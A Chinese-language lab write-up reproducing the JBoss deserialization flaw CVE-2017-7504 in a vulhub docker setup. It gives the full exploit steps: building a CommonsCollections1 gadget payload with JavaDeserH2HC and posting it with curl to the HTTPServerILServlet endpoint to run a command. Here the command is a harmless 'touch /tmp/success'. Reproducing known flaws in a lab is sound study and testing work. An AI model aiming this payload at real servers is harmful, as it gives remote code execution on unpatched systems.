jboss反序列化漏洞復現(CVE-2017-7504)
一、漏洞描述
Jboss AS 4.x及之前版本中,JbossMQ實現過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,遠程攻擊者可借助特制的序列化數據利用該漏洞執行任意代碼。
二、漏洞環境搭建以及復現
1、使用docker搭建漏洞環境及復現
Docker-compose build
docker-compose up -d
2、瀏覽器訪問http://172.17.0.1:8080/,測試環境是否搭建成功

3、下載測試工具, 下載地址:https://github.com/joaomatosf/JavaDeserH2HC
我們選擇一個Gadget:ExampleCommonsCollections1WithHashMap,編譯並生成序列化數據:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "touch /tmp/success"
可見,我們執行的命令是touch /tmp/success。執行完成后,將生成一個文件ExampleCommonsCollections1WithHashMap.ser

4、將該文件作為body發送如下數據包:
curl http://172.17.0.1:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

5、驗證是否成功,在docker環境中執行docker-compose exec jboss bash,下圖可以看到成功創建了success文件,說明漏洞存在

-------------------------------------------------------------------------------------------------
參考: https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
